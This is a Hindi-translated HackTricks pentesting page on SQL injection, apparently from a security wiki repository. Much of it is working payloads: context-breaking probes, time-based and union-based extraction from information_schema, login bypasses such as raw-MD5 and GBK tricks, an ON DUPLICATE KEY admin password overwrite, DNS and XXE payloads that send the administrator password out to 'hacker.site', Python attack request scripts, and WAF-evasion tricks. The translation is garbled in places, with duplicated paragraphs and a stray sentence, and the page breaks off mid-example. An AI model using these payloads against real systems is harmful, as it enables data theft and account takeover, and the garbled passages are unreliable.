hacktricks/pentesting-web/sql-injection
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00
..
mysql-injection Translated to Hindi 2023-11-06 08:38:02 +00:00
postgresql-injection Translated to Hindi 2023-11-06 08:38:02 +00:00
sqlmap Translated to Hindi 2023-11-06 08:38:02 +00:00
cypher-injection-neo4j.md Translated to Hindi 2023-11-06 08:38:02 +00:00
ms-access-sql-injection.md Translated to Hindi 2023-11-06 08:38:02 +00:00
mssql-injection.md Translated to Hindi 2023-11-06 08:38:02 +00:00
oracle-injection.md Translated to Hindi 2023-11-06 08:38:02 +00:00
README.md Translated to Hindi 2023-11-06 08:38:02 +00:00
sqlmap.md Translated to Hindi 2023-11-06 08:38:02 +00:00

SQL Injection

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थल है।

{% embed url="https://www.rootedcon.com/" %}

SQL Injection क्या है?

SQL Injection एक वेब सुरक्षा संकट है जो एक हमलावर को अनुमति देता है वेब एप्लिकेशन के डेटाबेस के साथ उसके क्वेरी में हस्तक्षेप करने के लिए। यह आमतौर पर एक हमलावर को उस डेटा को देखने की अनुमति देता है जिसे वह सामान्यतः प्राप्त नहीं कर सकता है। इसमें शामिल हो सकता है अन्य उपयोगकर्ताओं के डेटा, या किसी भी अन्य डेटा जिसे एप्लिकेशन खुद के उपयोग कर सकता है। बहुत से मामलों में, एक हमलावर इस डेटा को संशोधित या हटा सकता है, जिससे एप्लिकेशन की सामग्री या व्यवहार में स्थायी परिवर्तन होता है।
कुछ स्थितियों में, एक हमलावर SQL Injection हमले को आधारभूत सर्वर या अन्य पीछे की ढाल बुनियादी संरचना को खतरे में डालने, या एक विवरण-से-सेवा हमला करने के लिए बढ़ा सकता है। (यहां से लिया गया है यहां)।

इस पोस्ट में मैं मान लेता हूं कि हमें एक संभावित SQL Injection मिल गया है और हम संभावित तरीकों की चर्चा करने के लिए उसे पुष्टि करने, डेटाबेस का पुनर्निर्धारण करने और कार्रवाई करने के लिए विचार करेंगे।

प्रवेश बिंदु का पता लगाना

आपने शायद एक साइट को खोजा होगा जो SQLi संबंधित इनपुट के साथ अजीब तरीके से व्यवहार कर रही है, इसलिए पहली चीज जो आपको करनी होगी वह है कि आपको पता चले कि कैसे क्वेरी में डेटा इंजेक्ट करें बिना उसे तोड़ते हुए। इसके लिए, आपको पहले यह जानना होगा कि वर्तमान संदर्भ से बाहर निकलें कैसे करें।
ये कुछ उपयोगी उदाहरण हैं:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

तो, आपको यह जानना चाहिए कि कैसे विचारशीली तरीके से क्वेरी को सुधारें। क्वेरी को सुधारने के लिए आप डेटा इनपुट कर सकते हैं ताकि पिछली क्वेरी नए डेटा को स्वीकार करें, या आप अपने डेटा को इनपुट कर सकते हैं और एक टिप्पणी चिन्ह अंत में जोड़ सकते हैं

ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या आप क्वेरी काम कर रही है और जब नहीं है तो यह चरण आसान हो जाएगा।

टिप्पणियाँ

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

तार्किक संचालन के साथ पुष्टि करना

SQL इंजेक्शन की पुष्टि करने का सबसे अच्छा तरीका है उसे एक तार्किक संचालन को संचालित करना और उम्मीदित परिणाम प्राप्त करना। उदाहरण के लिए: यदि GET पैरामीटर ?username=Peter ?username=Peter' or '1'='1 के रूप में समान सामग्री लौटाता है, तो आपने एक SQL इंजेक्शन खोज लिया है।

इस अवधारणा को गणितीय संचालन पर भी लागू किया जा सकता है। उदाहरण: यदि ?id=1 ?id=2-1 के रूप में समान लौटता है, तो यह SQL इंजेक्शन है।

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

यह वर्ड-लिस्ट SQL इंजेक्शन की पुष्टि करने के लिए बनाई गई थी जिसे निम्नलिखित तरीके से प्रमाणित करने के लिए उपयोग किया जा सकता है:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

समय के साथ पुष्टि करना

कुछ मामलों में, आप जिस पृष्ठ का परीक्षण कर रहे हैं, उस पर कोई भी परिवर्तन नहीं देखेंगे। इसलिए, ब्लाइंड SQL इंजेक्शन की खोज करने का एक अच्छा तरीका है कि डेटाबेस को कार्रवाई करने के लिए बाध्य किया जाए और इसका पृष्ठ लोड होने में समय लगेगा।
इसलिए, हम SQL क्वेरी में एक ऐसा संयोजन करेंगे जिसे पूरा करने में बहुत समय लगेगा:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

कुछ मामलों में नींद फ़ंक्शन्स की अनुमति नहीं होगी। फिर, इन फ़ंक्शन्स का उपयोग करने की बजाय आप क्वेरी को जटिल संचालन करा सकते हैं जो कई सेकंड ले सकता है। इन तकनीकों के उदाहरण अलग-अलग प्रौद्योगिकियों पर अलग-अलग टिप्पणियों में दिए जाएंगे (यदि कोई हो)

बैक-एंड की पहचान करना

बैक-एंड की पहचान करने का सबसे अच्छा तरीका है विभिन्न बैक-एंड के फ़ंक्शन्स को निष्पादित करने का प्रयास करना। आप पिछले खंड में दिए गए नींद फ़ंक्शन्स का उपयोग कर सकते हैं या इनमें से ये भी:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

इसके अलावा, यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे डेटाबेस के संस्करण को प्रिंट करने के लिए उपयोग कर सकते हैं।

{% hint style="info" %} एक आगे बढ़ते हुए हम विभिन्न प्रकार के SQL Injection को उत्पन्न करने के लिए विभिन्न तकनीकों पर चर्चा करेंगे। हम MySQL का उपयोग उदाहरण के रूप में करेंगे। {% endhint %}

PortSwigger के साथ पहचान करना

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Union Based का उपयोग करना

कॉलमों की संख्या का पता लगाना

यदि आप क्वेरी के आउटपुट को देख सकते हैं, तो इसे उत्पन्न करने का यह सबसे अच्छा तरीका है।
सबसे पहले, हमें यह जानना होगा कि प्रारंभिक अनुरोध कितने कॉलम लौटा रहा है। इसलिए दोनों क्वेरी को एक ही संख्या के कॉलम लौटाना चाहिए
इस उद्देश्य के लिए आमतौर पर दो तरीके का उपयोग किया जाता है:

Order/Group by

झूलते रहेंगे जब तक आपको एक गलत प्रतिक्रिया नहीं मिलती है। हालांकि, GROUP BY और ORDER BY दोनों SQL में अलग-अलग कार्यक्षमता होती है, लेकिन वे दोनों क्वेरी में कॉलमों की संख्या निर्धारित करने के लिए एक ही तरीके से उपयोग किए जा सकते हैं।

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

यहां तक कि क्वेरी सही हो जाए, और ज्यादा और ज्यादा null मानों को चुनें:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

आपको कुछ मामलों में null मान का उपयोग करना चाहिए क्योंकि कुछ मामलों में क्वेरी के दोनों पक्षों के स्तंभ के प्रकार समान होने चाहिए और हर मामले में null मान मान्य है।

डेटाबेस नाम, टेबल नाम और कॉलम नाम निकालें

अगले उदाहरणों में हम सभी डेटाबेस के नाम, एक डेटाबेस के टेबल नाम, और टेबल के कॉलम नाम प्राप्त करेंगे:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

हर अलग डेटाबेस पर इस डेटा को खोजने के लिए एक अलग तरीका होता है, लेकिन यह हमेशा एक ही मेथडोलॉजी होती है।

छिपी हुई यूनियन आधारित का उपयोग करना

यदि आप क्वेरी के आउटपुट को देख सकते हैं लेकिन आप यूनियन आधारित इंजेक्शन तक पहुंच नहीं पा रहे हैं, तो आप एक छिपी हुई यूनियन आधारित इंजेक्शन के साथ निपट रहे हैं।
इस स्थिति में, आप अंधा इंजेक्शन पर पहुंचते हैं। अंधा इंजेक्शन को यूनियन आधारित बनाने के लिए, आपको बैकएंड पर चल रही क्वेरी को निकालने की आवश्यकता होती है।
आप इसे अंधा इंजेक्शन और आपके लक्षित डीबीएमएस के डिफ़ॉल्ट टेबल का उपयोग करके कर सकते हैं। इन डिफ़ॉल्ट टेबल के बारे में जानने के लिए अपने लक्षित डीबीएमएस की डॉक्यूमेंटेशन पढ़ें।
क्वेरी को निकालने के बाद, आपको अपने पेलोड को उचित रूप से समाप्त करते हुए अपने पेलोड में एक यूनियन क्वेरी जोड़नी होगी और नवीनतम यूनियन आधारित इंजेक्शन का शोध करना शुरू करना होगा।

पूर्ण लेख: https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f

त्रुटि आधारित का उपयोग करना

यदि किसी कारण से आप क्वेरी के आउटपुट को देख नहीं सकते हैं लेकिन आप त्रुटि संदेश देख सकते हैं, तो आप इस त्रुटि संदेश का उपयोग करके डेटाबेस से डेटा को बाहर निकाल सकते हैं।
यूनियन आधारित उत्पादन की तरह एक ही फ़्लो का पालन करते हुए आप डीबी को डंप कर सकते हैं।

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

ब्लाइंड SQLi का उपयोग करना

इस मामले में आप क्वेरी के परिणाम या त्रुटियों को नहीं देख सकते हैं, लेकिन आप यह अंतर समझ सकते हैं कि क्वेरी एक सच्चा या झूठा प्रतिक्रिया लौटाती है क्योंकि पृष्ठ पर विभिन्न सामग्री होती है।
इस मामले में, आप उस व्यवहार का दुरुपयोग कर सकते हैं ताकि आप डेटाबेस को एक चर से दंप कर सकें:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

त्रुटि ब्लाइंड SQLi का शोषण

यह पहले जैसा ही मामला है, लेकिन इसमें क्वेरी से सच/झूठे प्रतिक्रिया के बीच अंतर को नहीं बताया जा सकता है, बल्कि SQL क्वेरी में त्रुटि होने या न होने (शायद HTTP सर्वर क्रैश होने के कारण) को अंतर को बताया जा सकता है। इसलिए, इस मामले में आप प्रत्येक बार जब आप सही ढंग से अक्षर का अनुमान लगाते हैं, तो आप SQL त्रुटि को मजबूर कर सकते हैं:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

समय आधारित SQLi का शोषण

इस मामले में पृष्ठ के संदर्भ पर आधारित क्वेरी के प्रतिक्रिया को अलग करने का कोई तरीका नहीं है। लेकिन, यदि अनुमानित वर्ण सही है, तो आप पृष्ठ को लोड होने में अधिक समय लगा सकते हैं। हम पहले से ही इस तकनीक का उपयोग करके एक SQLi संकेत की पुष्टि करने के लिए देख चुके हैं।

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

स्टैक्ड क्वेरी

आप स्टैक्ड क्वेरी का उपयोग करके एक के बाद एक क्वेरी चला सकते हैं। ध्यान दें कि जब आगामी क्वेरी चलाई जाती है, तो परिणाम को एप्लिकेशन को वापस नहीं भेजा जाता है। इसलिए यह तकनीक मुख्य रूप से ब्लाइंड सुरक्षा खोजों के संबंध में उपयोगी है जहां आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्ताधारित त्रुटि या समय देरी को ट्रिगर कर सकते हैं।

Oracle स्टैक्ड क्वेरी का समर्थन नहीं करता है। MySQL, Microsoft और PostgreSQL इन्हें समर्थन करते हैं: यहां-क्वेरी-1; यहां-क्वेरी-2

आउट ऑफ़ बैंड उत्पीड़न

यदि कोई अन्य उत्पीड़न विधि काम नहीं करती है, तो आप प्रयास कर सकते हैं कि डेटाबेस आपके द्वारा नियंत्रित बाहरी होस्ट को जानकारी निकाले। उदाहरण के लिए, DNS क्वेरी के माध्यम से:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE के माध्यम से आउट ऑफ़ बैंड डेटा निकासी

एक्सएमएल एक्सटर्नल एंटिटी (XXE) एक सुरक्षा गड़बड़ी है जो एक अनुरोध में एक्सएमएल एंटिटी रेफ़रेंस का उपयोग करके एक अतिरिक्त बाहरी संसाधन को लोड करने की अनुमति देती है। यह एक आकस्मिक डेटा निकासी तकनीक हो सकती है जिसका उपयोग डेटाबेस से डेटा चोरी करने के लिए किया जा सकता है।

यह तकनीक एक अतिरिक्त एंटिटी रेफ़रेंस का उपयोग करके एक एक्सएमएल अनुरोध में एक बाहरी एंटिटी फ़ाइल को लोड करने के लिए उपयोगी हो सकती है। इस तरह, एक हमलावर एक्सएमएल एंटिटी फ़ाइल को लोड करके डेटाबेस के साथ संवाद कर सकता है और डेटा को चोरी कर सकता है।

यह तकनीक एक आकस्मिक डेटा निकासी तकनीक है जिसका उपयोग डेटाबेस से डेटा चोरी करने के लिए किया जा सकता है। यह एक अतिरिक्त एंटिटी रेफ़रेंस का उपयोग करके एक एक्सएमएल अनुरोध में एक बाहरी एंटिटी फ़ाइल को लोड करने के लिए उपयोगी हो सकती है। इस तरह, एक हमलावर एक्सएमएल एंटिटी फ़ाइल को लोड करके डेटाबेस के साथ संवाद कर सकता है और डेटा को चोरी कर सकता है।

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

स्वचालित शोधन

sqlmap के साथ SQLi संरचना का शोधन करने के लिए SQLMap Cheetsheat की जांच करें।

तकनीक विशिष्ट जानकारी

हमने पहले ही SQL Injection संरचना का शोधन करने के सभी तरीके पर चर्चा की है। इस पुस्तक में डेटाबेस प्रौद्योगिकी के अनुसार कुछ और ट्रिक्स देखें:

या आपको https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection में MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारी ट्रिक्स मिलेंगी

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण कार्यक्रमों में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए हर विषय में एक उबलता हुआ मिलने का समय स्थल है।

{% embed url="https://www.rootedcon.com/" %}

प्रमाणीकरण बाइपास

लॉगिन कार्यक्षमता को बाइपास करने के लिए कोशिश करने की सूची:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

प्रमाणीकरण बाइपास (Raw MD5)

जब एक रॉ मेंडी5 का उपयोग किया जाता है, तो पासवर्ड एक साधारण स्ट्रिंग के रूप में प्रश्नित किया जाएगा, हेक्सस्ट्रिंग नहीं।

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

एक हमलावर्ती को एक स्ट्रिंग बनाने की अनुमति देना जिसमें true कथन के साथ एक बयान बनाया जा सकता है, जैसे ' या 'SOMETHING

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>

चुनौती का डेमो http://web.jarvisoj.com:32772 पर उपलब्ध है

हैश प्रमाणीकरण बाईपास

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

सिफारिशित सूची:

आपको प्रत्येक पंक्ति के रूप में उपयोग करना चाहिए और पासवर्ड हमेशा: Pass1234.
(ये पेलोड इस सेक्शन की शुरुआत में उल्लिखित बड़ी सूची में भी शामिल हैं)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK प्रमाणीकरण बाईपास

यदि ' को एस्केप किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को एस्केप किया जाता है तो यह बनाया जाएगा: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
import requests

# Define the target URL
url = "http://example.com/login"

# Define the payload for SQL injection
payload = "' OR '1'='1' -- "

# Send the request with the payload
response = requests.post(url, data={"username": payload, "password": ""})

# Check if the SQL injection was successful
if "Login successful" in response.text:
    print("SQL injection successful!")
else:
    print("SQL injection failed.")
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

पॉलीग्लॉट इंजेक्शन (मल्टीकॉंटेक्स्ट)

Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks to exploit vulnerabilities in web applications. In a polyglot injection, the attacker crafts a malicious payload that can be interpreted as valid code in multiple database management systems (DBMS) or programming languages.

The advantage of using a polyglot injection is that it allows the attacker to target multiple types of databases or programming languages with a single payload. This can be useful when the attacker is unsure about the specific DBMS or programming language used by the target application.

To create a polyglot injection, the attacker needs to understand the syntax and behavior of different DBMS or programming languages. By crafting a payload that is valid in multiple contexts, the attacker increases the chances of successfully exploiting the SQL injection vulnerability.

It is important to note that polyglot injections can be more complex to create and execute compared to regular SQL injections. The attacker needs to carefully design the payload to ensure it is valid in multiple contexts and does not raise any errors or exceptions.

Overall, polyglot injection is a powerful technique that allows attackers to target a wide range of web applications, regardless of the specific DBMS or programming language used. Web developers and security professionals should be aware of this technique and take appropriate measures to prevent SQL injection vulnerabilities in their applications.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

इंसर्ट स्टेटमेंट

मौजूदा ऑब्जेक्ट/उपयोगकर्ता के पासवर्ड को संशोधित करें

इसके लिए आपको "मास्टर ऑब्जेक्ट" के रूप में नया ऑब्जेक्ट बनाने का प्रयास करना चाहिए (संभवतः उपयोगकर्ताओं के मामले में एडमिन):

  • उपयोगकर्ता नाम: एडमिन (अपरकेस और लोअरकेस अक्षर)
  • उपयोगकर्ता नाम: एडमिन=
  • SQL Truncation हमला (जब उपयोगकर्ता नाम या ईमेल में किसी प्रकार की लंबाई सीमा होती है) --> उपयोगकर्ता नाम के साथ उपयोगकर्ता बनाएं: एडमिन [बहुत सारे अंतरिक्ष] ए

SQL Truncation हमला

यदि डेटाबेस संकटग्रस्त है और उपयोगकर्ता नाम के लिए अधिकतम अक्षरों की संख्या उदाहरण के लिए 30 है और आप एडमिन उपयोगकर्ता का अनुकरण करना चाहते हैं, तो "एडमिन [30 अंतरिक्ष] ए" नामक उपयोगकर्ता नाम बनाने का प्रयास करें और कोई पासवर्ड।

डेटाबेस जांचेगा कि दर्ज किया गया उपयोगकर्ता नाम डेटाबेस के अंदर मौजूद है या नहीं। यदि नहीं, तो यह उपयोगकर्ता नाम को अधिकतम अनुमत अक्षरों की संख्या तक काट देगा (इस मामले में: "एडमिन [25 अंतरिक्ष]") और यह आपके डेटाबेस में उपयोगकर्ता "एडमिन" को नया पासवर्ड अपडेट करने के लिए स्वचालित रूप से सभी अंतरिक्षों को हटा देगा (कुछ त्रुटि हो सकती है, लेकिन यह यह नहीं मतलब है कि यह काम नहीं करेगा)।

अधिक जानकारी: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

नोट: यह हमला नवीनतम MySQL स्थापनाओं में उपरोक्त विवरण के अनुसार अब काम नहीं करेगा। हालांकि, तुलनाएँ अभी भी अंतिम रिक्त स्थानों को अनदेखा करेंगी, डेटाबेस में एक फ़ील्ड की लंबाई से अधिक लंबा स्ट्रिंग डालने का प्रयास त्रुटि उत्पन्न करेगा और संयोजन विफल हो जाएगा। इसके बारे में अधिक जानकारी के लिए देखें https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation__

MySQL इंसर्ट समय आधारित जांच

VALUES स्टेटमेंट से बाहर निकलने के लिए जितने भी ','','' आपको उचित समझें उन्हें जोड़ें। यदि देरी होती है, तो आपके पास एक SQLInjection है।

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE कीवर्ड MySQL को बताने के लिए उपयोग किया जाता है कि जब एप्लिकेशन टेबल में पहले से मौजूद एक पंक्ति को इंसर्ट करने का प्रयास करता है तो क्या करना है। हम इसका उपयोग एडमिन पासवर्ड को बदलने के लिए कर सकते हैं:

Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

जानकारी निकालें

दो खाते एक साथ बनाना

नए उपयोगकर्ता और उपयोगकर्ता नाम, पासवर्ड और ईमेल बनाने की कोशिश करते समय:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

दशमलव या षोधित्र का उपयोग

इस तकनीक के साथ आप केवल 1 खाता बनाकर जानकारी निकाल सकते हैं। यह महत्वपूर्ण है कि आपको कुछ भी टिप्पणी करने की आवश्यकता नहीं है।

hex2dec और substr का उपयोग करके:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

टेक्निकल टर्म्स को हिंदी में अनुवाद करने के लिए आप निम्नलिखित को उपयोग कर सकते हैं:

__import__('binascii').unhexlify(hex(215573607263)[2:])

इस्तेमाल करके hex और replace (और substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थान है।

{% embed url="https://www.rootedcon.com/" %}

रूटेड SQL इंजेक्शन

रूटेड SQL इंजेक्शन एक स्थिति है जहां इंजेक्टेबल क्वेरी वह नहीं है जो आउटपुट देती है, बल्कि इंजेक्टेबल क्वेरी का आउटपुट वह क्वेरी होता है जो आउटपुट देती है। (पेपर)

उदाहरण:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF बाईपास

कोई जगह नहीं बाईपास

कोई जगह (%20) - श्वेतस्थान विकल्पों का उपयोग करके बाईपास करें

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - टिप्पणियों का उपयोग करके बाईपास करें

Sometimes, web applications filter or block certain characters or keywords to prevent SQL injection attacks. In such cases, you can use comments to bypass these filters and successfully execute SQL injection.

अक्सर, वेब एप्लिकेशन्स निश्चित वर्ण या शब्दों को फ़िल्टर या ब्लॉक करते हैं ताकि SQL इंजेक्शन हमलों को रोक सकें। ऐसे मामलों में, आप टिप्पणियों का उपयोग करके इन फ़िल्टर्स को बाईपास कर सकते हैं और सफलतापूर्वक SQL इंजेक्शन को निष्पादित कर सकते हैं।

Technique

To bypass filters that block certain characters or keywords, you can use comments in your SQL injection payload. Comments in SQL are denoted by -- or /* */.

निश्चित वर्ण या शब्दों को ब्लॉक करने वाले फ़िल्टर्स को बाईपास करने के लिए, आप अपने SQL इंजेक्शन पेलोड में टिप्पणियों का उपयोग कर सकते हैं। SQL में टिप्पणियाँ -- या /* */ द्वारा दर्शाई जाती हैं।

For example, if the application filters the keyword SELECT, you can bypass it by using comments like SEL/*comment*/ECT.

उदाहरण के लिए, यदि एप्लिकेशन SELECT शब्द को फ़िल्टर करता है, तो आप SEL/*comment*/ECT जैसी टिप्पणियों का उपयोग करके इसे बाईपास कर सकते हैं।

Conclusion

Using comments in your SQL injection payload can help you bypass filters that block certain characters or keywords. This technique can be useful in situations where direct injection is not possible due to filtering mechanisms.

अपने SQL इंजेक्शन पेलोड में टिप्पणियों का उपयोग करने से आप निश्चित वर्ण या शब्दों को ब्लॉक करने वाले फ़िल्टर्स को बाईपास कर सकते हैं। यह तकनीक उन स्थितियों में उपयोगी हो सकती है जहां फ़िल्टरिंग मेकेनिज़्म के कारण सीधा इंजेक्शन संभव नहीं होता है।

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - पैरेंथेसिस का उपयोग करके बाईपास करें

In some cases, web applications may have filters in place that block certain characters or keywords, such as whitespace. However, it is still possible to bypass these filters and perform SQL injection by using parentheses.

Technique

  1. Identify the vulnerable parameter in the URL or form input.

  2. Craft a SQL injection payload using parentheses to bypass the whitespace filter. For example:

    ' OR 1=1)--
    

    In this payload, the closing parenthesis ) is used to close the existing SQL query and the double hyphen -- is used to comment out the rest of the query.

  3. Submit the payload and observe the application's response. If the application is vulnerable, it will likely return data that it shouldn't.

Example

Consider the following vulnerable PHP code:

$param = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '$param'";

